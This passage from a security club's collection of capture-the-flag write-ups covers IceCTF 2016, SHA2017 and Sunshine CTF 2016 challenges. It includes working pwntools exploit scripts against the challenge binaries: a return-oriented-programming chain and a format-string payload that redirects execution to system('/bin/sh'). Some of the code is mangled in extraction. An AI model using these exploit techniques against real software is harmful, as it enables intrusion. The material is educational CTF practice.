53 | ```bash 54 | Stopped reason: SIGSEGV 55 | 0x41415041 in ?? () 56 | ``` 57 | Translating that to an ASCII string we get 'AAPA'. There are two ways to do this now which are either copying the string right up to the first A and using something like len() in Python, but I'm going to use a builtin tool for radare2, `wopO ` which will basically search for how far off that pattern is in the string we generated: 58 | ```bash 59 | r2 ropi 60 | -- This is amazing ... 61 | [0x08048430]> wopO 0x41415041 62 | 43 63 | ``` 64 | 65 | 43 bytes of padding, alright, we can work with that. Now would be a good time to see where we actually get input and how much we get. We can do this by objdump or by IDA. I'm still learning to reverse so for now I'll just use IDA. 66 | 67 | Disassembling with IDA we get the following functions: 68 | 69 | #####main: 70 | ```C 71 | int __cdecl main(int argc, const char **argv, const char **envp) 72 | { 73 | ezy(); 74 | puts("addio!"); 75 | return 0; 76 | } 77 | ``` 78 | 79 | #####ezy: 80 | ```C 81 | ssize_t ezy() 82 | { 83 | char buf; // [sp+10h] [bp-28h]@1 84 | 85 | puts("Benvenuti al convegno RetOri Pro!\nVuole lasciare un messaggio?"); 86 | fflush(stdout); 87 | return read(0, &buf, 0x40u); 88 | } 89 | ``` 90 | 91 | #####ret: 92 | ```C 93 | int __cdecl ret(int a1) 94 | { 95 | if ( a1 != -1159991569 ) 96 | { 97 | puts("chiave sbagliata! :("); 98 | exit(1); 99 | } 100 | fd = open("./flag.txt", 0); 101 | puts("[+] aperto"); 102 | return fflush(stdout); 103 | } 104 | ``` 105 | 106 | #####ori: 107 | ```C 108 | int __cdecl ori(int a1, int a2) 109 | { 110 | if ( a1 != -1412567041 && a2 != 2018915346 ) 111 | { 112 | puts("chiave sbagliata! :(("); 113 | exit(1); 114 | } 115 | read(fd, &dati, 0x80u); 116 | puts("[+] leggi"); 117 | return fflush(stdout); 118 | } 119 | ``` 120 | 121 | #####pro: 122 | ```C 123 | int pro() 124 | { 125 | puts("[+] stampare"); 126 | printf("%s", &dati); 127 | return fflush(stdout); 128 | } 129 | ``` 130 | Using the disassembled functions we can see a few things. Firstly, we gain our input through a call to read and are given a max of 64 bytes (from nbytes being 0x40, which in decimal is 64). We know that for whatever reason, 43 or so bytes in we start to overwrite the EIP. This means we have *roughly* 20 bytes left to play with. Secondly we can see there are three functions other than `main()` and `ezy()` and each appears to have some part of loading and displaying the flag and have to be done in order. 131 | 132 | We now know that we have 44 bytes to EIP, 20 bytes to play with including EIP overwrite, 3 functions that must be called in the order `ret()`->`ori()`->`pro()` (return oriented programming), and that these functions all (save `pro()`) appear to have some sort of check at the beginning. Converting those ugly looking numbers to hex we get that `ret()` wants an argument to be `0xbadbeeef` (thats beef with three 'e's) and `ori()` wants two which are 0xabcdefff and 0x78563412. If we fail to provide those then the program prints a failure message and exits. 133 | 134 | What now? Well reviewing how ret2libc attacks work, we know that if we can hijack EIP as we have done then we can make it return to wherever we want in the program and do even more so long as we set the stack frame right. So first instinct is to try to make it do `main()`->`ezy()`->`ret()`->`ori()`->`pro()` but we quickly find that there is a problem. Distance to EIP is 44 bytes which leaves us with 20 bytes to craft the exploit. The addresses alone for ret, ori, and pro will take up 12 which leaves us with 8 bytes left. We then need to account for the 4 byte 'canary' in ret, and the two 4 byte 'canaries' in ori. Adding that all up we end up 4 bytes over what we have. That's a problem. So now what? Get clever with the rop gadgets? 135 | 136 | Well if you recall I said we could use the EIP access to return ANYWHERE, and as it turns out our vulnerability is in its own function too: `ezy()`! So what do we do about it? Well we know during the same execution we must visit `ret()`,`ori()`, and `pro()` all in order and we also now know we can jump back to `ezy()` which means.... ARBITRARY JUMPING! 137 | 138 | If we first go to `ret()` and have it return to `ezy()` rather than `ori()` it means that we can rewrite our exploit and do it again, effectively "chaining" it, so that we can then jump to `ori()` and back to `ezy()` one final time to make a final jump to `pro()` 139 | 140 | We have three seperate payloads we then need to construct: 141 | 142 | ``` 143 | payload one: 'A'*44
<0xbadbeeef> 144 | payload two: 'A'*44
<0xabcdefff><0x78563412> 145 | payload three: 'A'*44
146 | ``` 147 | 148 | Luckily for us, pwntools makes sending these multiple encoded payloads really easy, setting it up just like that we get the following exploit script in python: 149 | 150 | ```Python 151 | #!/usr/bin/python 152 | 153 | # @nullp0inter 154 | # IceCTF ROPI 155 | 156 | from pwn import * 157 | 158 | # Addresses 159 | main = 0x08048661 160 | ezy_addr = 0x0804852d 161 | ret_addr = 0x08048569 162 | ret_can = 0xbadbeeef 163 | ori_addr = 0x080485c4 164 | ori_can1 = 0xabcdefff 165 | ori_can2 = 0x78563412 166 | pro_addr = 0x0804862c 167 | 168 | # Payload Generation 169 | payload = 'A'*44 170 | payload += p32(ret_addr) 171 | payload += p32(ezy_addr) 172 | payload += p32(ret_can) 173 | payload2 = 'A'*44 174 | payload2 += p32(ori_addr) 175 | payload2 += p32(ezy_addr) 176 | payload2 += p32(ori_can1) 177 | payload2 += p32(ori_can2) 178 | payload3 = 'A'*44 179 | payload3 += p32(pro_addr) 180 | payload3 += p32(main) 181 | 182 | # Start Pwnage 183 | p = remote('ropi.vuln.icec.tf',6500) # Remote 184 | #p = process('ropi') # local 185 | 186 | p.recv() 187 | p.sendline(payload) 188 | p.recv() 189 | p.sendline(payload2) 190 | p.recv() 191 | p.sendline(payload3) 192 | p.interactive() 193 | ``` 194 | 195 | 196 | ##Special Thanks: 197 | Special thanks to members both past and present of my club, wcsc, for all the information they shared with me. I was able to finally solve some fairly difficult challenges thanks to them answering my repeated stupid questions (ropi at 131 solves, dear_diary at 78) 198 | 199 | ##Resources: 200 | I found a ton of great resources during the challenge for learning about ROP attacks: 201 | 202 | [Saumil Shah's 'Dive Into ROP'](http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming "Dive Into ROP") 203 | 204 | [Saumil Shah's 'How Functions Work'](http://www.slideshare.net/saumilshah/how-functions-work-7776073 "How Functions Work") 205 | 206 | [Jeffrey Crowell's Blog Post on "Pwning With Radare2"](http://crowell.github.io/blog/2014/11/23/pwning-with-radare2/ "Pwning With R2") 207 | -------------------------------------------------------------------------------- /icectf-2016/ropi/flag.txt: -------------------------------------------------------------------------------- 1 | WINRAR 2 | -------------------------------------------------------------------------------- /icectf-2016/ropi/myropi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/ropi/myropi -------------------------------------------------------------------------------- /icectf-2016/ropi/myropi.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int fd; 4 | char dati[128]; 5 | 6 | void ezy() { 7 | char buf[32]; 8 | puts("Benvenuti convergo retori pro.."); 9 | fflush(stdout); 10 | read(0, &buf, 64); 11 | return; 12 | } 13 | 14 | void ret(int a) { 15 | if(a == 0xbadbeef) { 16 | int fd = open("./flag.txt", 0); 17 | puts("[+] aperto"); 18 | fflush(stdout); 19 | return; 20 | } else { 21 | puts("chiave sbahliata! :("); 22 | exit(1); 23 | } 24 | } 25 | 26 | void ori(int a, int b) { 27 | if ( a == 0xabcdefff || b == 0x78563412) { 28 | read(fd, dati, 0x80 /* 128 */); 29 | puts("[+] leggi"); 30 | fflush(stdout); 31 | return; 32 | } else { 33 | exit(1); 34 | } 35 | } 36 | 37 | void pro() { 38 | puts("[+] stampare"); 39 | printf("%s", &dati); 40 | fflush(stdout); 41 | return; 42 | } 43 | 44 | int main() { 45 | ezy(); 46 | puts("addio\n"); 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /icectf-2016/ropi/pwnropi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # @nullp0inter 4 | # IceCTF ROPI 5 | 6 | from pwn import * 7 | 8 | # Addresses 9 | main = 0x08048661 10 | ezy_addr = 0x0804852d 11 | ret_addr = 0x08048569 12 | ret_can = 0xbadbeeef 13 | ori_addr = 0x080485c4 14 | ori_can1 = 0xabcdefff 15 | ori_can2 = 0x78563412 16 | pro_addr = 0x0804862c 17 | 18 | # Payload Generation 19 | payload = 'A'*44 20 | payload += p32(ret_addr) 21 | payload += p32(ezy_addr) 22 | payload += p32(ret_can) 23 | payload2 = 'A'*44 24 | payload2 += p32(ori_addr) 25 | payload2 += p32(ezy_addr) 26 | payload2 += p32(ori_can1) 27 | payload2 += p32(ori_can2) 28 | payload3 = 'A'*44 29 | payload3 += p32(pro_addr) 30 | payload3 += p32(main) 31 | 32 | # Start Pwnage 33 | p = remote('ropi.vuln.icec.tf',6500) # Remote 34 | #p = process('./ropi') # local 35 | 36 | p.recv() 37 | p.sendline(payload) 38 | p.recv() 39 | p.sendline(payload2) 40 | p.recv() 41 | p.sendline(payload3) 42 | p.interactive() 43 | -------------------------------------------------------------------------------- /icectf-2016/ropi/ropi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/ropi/ropi -------------------------------------------------------------------------------- /icectf-2016/spotlight/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | ## Solution By: Nullp0inter 3 | 4 | # Spotlight Web 10pts 5 | Someone turned out the lights and now we can't find anything. Send halp! spotlight 6 | 7 | # Solution: 8 | Obviously with around 1600 solves, not a lot of people need this but in case you do I figured I would include it for completeness' sake. 9 | The challenge sends you to spotlight.vuln.icec.tf, a mostly black page with a white circle that is supposed to be your "spotlight." If you 10 | take a few minutes to search around you'll see some messages such as "not here", "the flag is close", etc. But we couldn't find the flag. 11 | So what do we do then? Well it's usually idea to "USE THE SOURCE, LUKE!." In Firefox you can easily do this with ctrl+U. The source is fairly 12 | small so I will post it here: 13 | 14 | ```html 15 | 16 | 17 | 18 | IceCTF 2016 - Spotlight 19 | 20 | 21 | 22 | 23 | 24 | 25 | Your browser does not support the HTML5 canvas tag. 26 | 27 | 28 | 29 | 30 | ``` 31 | 32 | So two things should pop out at you, the `spotlight.css` and the `spotlight.js` at the bottom. The css is just unlikely so I ignored that altogether 33 | and went straight for the javascript file as that is what is making the spotlight on the page work in the first place and holds the messages. We click 34 | on the `spotlight.js` to view the source for that and get: 35 | 36 | ```javascript 37 | /* 38 | * TODO: Remove debug log 39 | */ 40 | 41 | // Load the canvas context 42 | console.log("DEBUG: Loading canvas context..."); 43 | var canvas = document.getElementById('myCanvas'); 44 | var context = canvas.getContext('2d'); 45 | 46 | // Make the canvas fill the screen 47 | console.log("DEBUG: Adjusting canvas size..."); 48 | context.canvas.width = window.innerWidth; 49 | context.canvas.height = window.innerHeight; 50 | 51 | // Mouse listener 52 | console.log("DEBUG: Adding mouse listener..."); 53 | canvas.addEventListener('mousemove', function(evt) { 54 | spotlight(canvas, getMousePos(canvas, evt)); 55 | }, false); 56 | 57 | console.log("DEBUG: Initializing spotlight sequence..."); 58 | function spotlight(canvas, coord) { 59 | // Load up the context 60 | var context = canvas.getContext('2d'); 61 | 62 | // Clear the canvas 63 | context.clearRect(0,0,canvas.width, canvas.height); 64 | 65 | // Turn off the lights! Mwuhahaha >:3 66 | context.fillRect(0,0,window.innerWidth,window.innerHeight); 67 | 68 | // Scatter around red herrings 69 | context.font = "20px Arial"; 70 | context.fillText("Not here.",width(45),height(60)); 71 | context.fillText("Keep looking...",width(80),height(20)); 72 | context.fillText(":c",width(20),height(30)); 73 | context.fillText("Look closer!",width(75),height(80)); 74 | context.fillText("Almost there!",width(60),height(10)); 75 | context.fillText("Howdy!",width(10),height(90)); 76 | context.fillText("Closer...",width(30),height(80)); 77 | context.fillText("FLAG AHOY!!!!!!!!1",width(80),height(95)); 78 | 79 | // Turn on the flash light 80 | var grd = context.createRadialGradient( 81 | coord.x, coord.y, 75, 82 | coord.x, coord.y, 50); 83 | grd.addColorStop(0,'rgba(255,255,255,0)'); 84 | grd.addColorStop(1,'rgba(255,255,255,.7)'); 85 | 86 | context.fillStyle=grd; 87 | } 88 | 89 | console.log("DEBUG: IceCTF{5tup1d_d3v5_w1th_th31r_l095}"); 90 | 91 | console.log("DEBUG: Loading up helper functions..."); 92 | console.log("DEBUG: * getMousePos(canvas, evt)"); 93 | function getMousePos(canvas, evt) { 94 | var rect = canvas.getBoundingClientRect(); 95 | return { 96 | x: evt.clientX - rect.left, 97 | y: evt.clientY - rect.top 98 | }; 99 | } 100 | 101 | // Calculate height percenteges 102 | console.log("DEBUG: * height(perc)"); 103 | function height(perc) 104 | { 105 | var h = window.innerHeight; 106 | return h * (perc / 100); 107 | } 108 | 109 | // Calculate width percenteges 110 | console.log("DEBUG: * width(perc)"); 111 | function width(perc) 112 | { 113 | var w = window.innerWidth; 114 | return w * (perc / 100); 115 | } 116 | console.log("DEBUG: Done."); 117 | 118 | console.log("DEBUG: Ready for blast off!"); 119 | ``` 120 | 121 | Well what do you know, about halfway down we can see our flag: 122 | `IceCTF{5tup1d_d3v5_w1th_th31r_l095}` 123 | -------------------------------------------------------------------------------- /sha2017/README.md: -------------------------------------------------------------------------------- 1 | # SHA2017 2 | [https://ctftime.org/event/478](https://ctftime.org/event/478) 3 | 4 | 5 | -------------------------------------------------------------------------------- /sha2017/asby/README.md: -------------------------------------------------------------------------------- 1 | # asby 2 | ##### Brad Daniels -- USF Whitehatters Computer Security Club 3 | ##### binary -- 100 points 4 | 5 | ## Description 6 | 7 | Eindbazen team member asby has by far been putting the most energy and time in creating the SHA2017 CTF. To honor his dedication and all his effort we created this challenge as an ode to him. 8 | 9 | You can choose to reverse engineer this challenge or you can "asby" it. Good luck with the option you choose. 10 | 11 | ## Solution 12 | 13 | #### Initial Inspection 14 | 15 | #### Wine 16 | 17 | #### Flag 18 | -------------------------------------------------------------------------------- /sha2017/asby/asby.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/sha2017/asby/asby.exe -------------------------------------------------------------------------------- /sha2017/asby/sol.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | import string 3 | import time 4 | 5 | p = pwn.process("WINEDEBUG=fixme-all /usr/bin/wine asby.exe", shell=True) 6 | 7 | charset = [] 8 | for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation: 9 | charset.append(c) 10 | 11 | i = 0 12 | flag = charset[i] 13 | while(True): 14 | time.sleep(.1) 15 | print(p.recv(timeout=0.3)) 16 | print(flag) 17 | p.send(flag + '\n') 18 | time.sleep(.1) 19 | out = p.recv() 20 | print(out) 21 | if 'WRONG' in out: 22 | i+=1 23 | flag = flag[:-1] + charset[i] 24 | continue 25 | else: 26 | i=0 27 | flag = flag + charset[0] 28 | continue 29 | 30 | -------------------------------------------------------------------------------- /sha2017/megan-35/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/sha2017/megan-35/libc.so.6 -------------------------------------------------------------------------------- /sha2017/megan-35/megan-35: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/sha2017/megan-35/megan-35 -------------------------------------------------------------------------------- /sha2017/megan-35/pwnMegan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import base64 4 | import sys 5 | from struct import pack 6 | import time 7 | from binascii import hexlify 8 | 9 | atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC" 10 | megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" 11 | zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2" 12 | hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" 13 | b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" 14 | 15 | class B64weird_encodings: 16 | 17 | def __init__(self, translation): 18 | b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" 19 | self.srch = dict(zip(b, translation)) 20 | self.revlsrch = dict(zip(translation, b)) 21 | 22 | def encode(self, pt): 23 | global srch 24 | b64 = base64.b64encode(pt) 25 | r = "".join([self.srch[x] for x in b64]) 26 | return r 27 | 28 | def decode(self, code): 29 | global revlsrch 30 | b64 = "".join([self.revlsrch[x] for x in code]) 31 | r = base64.b64decode(b64) 32 | return r 33 | 34 | def encode(variant, pt): 35 | encoder = B64weird_encodings(variant) 36 | return encoder.encode(pt) 37 | 38 | def decode(variant, code): 39 | try: 40 | encoder = B64weird_encodings(variant) 41 | return encoder.decode(code) 42 | except KeyError: 43 | return "Not valid" 44 | except TypeError: 45 | return "Padding iccorrect" 46 | 47 | 48 | # theirs 49 | libc = 0xf7e19000 50 | systemOffset = 0x3a940 51 | binsh = 0x15900b 52 | exit = 0x2e7b0 53 | 54 | # mine 55 | #libc = 0xf7ddc000 56 | #systemOffset = 0x3b060 57 | #binsh = 0x15fa0f 58 | #exit = 0x2eaf0 59 | 60 | # theirs 61 | where = 0xffffd05c 62 | where += 0xd50 63 | what = 0xffffdbac #system addr on stack 64 | 65 | #mine 66 | #where = 0xffffcffc 67 | #what = 0xffffdbac #system addr on stack 68 | 69 | what += 4 70 | 71 | payload = pack(">8) - pl) & mask 84 | pl += newByte2 85 | newByte3 = (((what&(mask<<16))>>16) - pl) & mask 86 | 87 | newByte4 = 0x01 88 | newByte5 = 0xff 89 | enc_payload = "" 90 | enc_payload += "%" + str(newByte1) + "c%7$hhn" 91 | enc_payload += "%" + str(newByte2) + "c%8$hhn" 92 | enc_payload += "%" + str(newByte3) + "c%9$hhn" 93 | enc_payload += "%" + str(newByte4) + "c%10$hhn" 94 | enc_payload += "%" + str(newByte5) + "c%10$hhn" 95 | 96 | enc_payload = encode(megan35, enc_payload) 97 | 98 | #mem leak 99 | #payload = struct.pack(" 13 | 14 | whip,naenae,whip,naenae,whip 15 | do the whip! 16 | (;P) 17 | 8=/||\_ 18 | _/¯ ¯\_ 19 | do the naenae 20 | (\) 21 | \(:O) 22 | /||\_ 23 | _/¯ ¯\_ 24 | do the whip! 25 | (;P) 26 | 8=/||\_ 27 | _/¯ ¯\_ 28 | do the naenae 29 | (\) 30 | \(:O) 31 | /||\_ 32 | _/¯ ¯\_ 33 | do the whip! 34 | (;P) 35 | 8=/||\_ 36 | _/¯ ¯\_ 37 | 38 | cool dance! come again! 39 | ``` 40 | You have input here so may as well start looking at the buffer. 41 | 42 | Solved By 43 | ---------- 44 | nullp0inter 45 | 46 | How to solve 47 | ------------ 48 | Honestly, when I solved this challenge I was (in the spirit of the ctf) RIGGITY-RIGGITY-REKT SON! (I had all but chugged an entire bottle of wine). Being that I was not of sound mind, I really didn't want to bother exploring the binary to find out how big the buffer was, instead I just used pattern generation with Ragg2 and sent varying lengths. Ultimately I solved this one on accident, when I was wasted, just trying to figure out how big the buffer was using a binary search sort of method. If you send it approximately 80 A's (I sent it a pattern of length 80), it spits out the flag and tells you that you are a gurl who can dance. 49 | 50 | Ragg2 is great for analysis as it generates patterns of whatever length you like then can search for them. You can quickly generate a pattern with: 51 | `ragg2 -P -r` 52 | 53 | Being that I don't have the binary, didn't write down the flag, and the challenges are all down at this point, you'll just have to settle for 54 | 55 | `SUN{this_was_the_flag}` 56 | -------------------------------------------------------------------------------- /sunshine-ctf-2016/FindFloridaMan/README.md: -------------------------------------------------------------------------------- 1 | Find Floridaman 2 | =============== 3 | Recon category - 50 points 4 | 5 | Challenge Description 6 | --------------------- 7 | In other news… Floridaman did what with an alligator? 8 | Remember, this has the normal flag format. 9 | 10 | Hints Included: 11 | - some pretty much useless initial hint I can't even remember 12 | - only look at florida news sites 13 | - flag was posted before 2 days ago (a fake flag was posted during the competition) 14 | - Involves a drive-thru 15 | 16 | Solved By 17 | --------- 18 | nullp0inter 19 | 20 | How I Solved It 21 | --------------- 22 | Any _true_ Floridian has probably heard of the /r/Floridaman subreddit and those who follow it may recall a recent news story from 23 | Jupiter, Florida (Palm Coast) involving one florida man tossing a live alligator through a Wendy's drive-thru. 24 | 25 | If I'm honest, this flag was easy and at the same time was absolutely **_NOT_** easy. So yes, you are given a lot of information but aside 26 | from the fact that it was on a florida news site, the other hints weren't available until near the end of the final day. 27 | 28 | So with the drive-thru story in mind, my first instinct was to find a list of florida news site and craft google queries of the form 29 | `florida + man + alligator + driverthru site:`. Honestly if I had known something about the terrible business practices of 30 | news sites I would have found this much faster however it took me close to 16 hours from here. The reason being is that florida news sites like to grab multiple separate domains _and_ post the same exact news story multiple times, each with different comment sections. 31 | 32 | There was a fake flag posted, which I happened to find at around midnight after the first day delerious and tired and I was not a happy camper. It was posted on a palmcoast news website, restricting google searches to that site eventually turned up this page `http://www.mypalmbeachpost.com/news/news/crime-law/wendys-alligator-thrower-is-only-fulfilling-his-fl/nqNfr/` with only a single comment by Summerc137 with our real flag (Summerc137 being a reference to Summer from dimension c137 in Rick and Morty). 33 | 34 | That's it, there is our flag. 35 | -------------------------------------------------------------------------------- /sunshine-ctf-2016/README.md: -------------------------------------------------------------------------------- 1 | Sunshine CTF 2016 2 | ================= 3 | Sunshine CTF is a ctf that was hosted at BSides Orlando in 2016 by members of the Hack@UCF club. The challenges were introductory level to mid level. 4 | There were a couple themes for the CTF but quite a few challenges were based on the TV show Rick and Morty. 5 | 6 | About 7 | ----- 8 | Participants: 9 | - nullp0inter 10 | - brad_d 11 | - bspar 12 | - und3rfl0w 13 | 14 | The binaries were pretty introductory, being done without stack protection but there were some really cool Social Engineering challenges and some forensics stuff as well. We solved all the binaries and came in first place locally, so it went pretty great. 15 | --------------------------------------------------------------------------------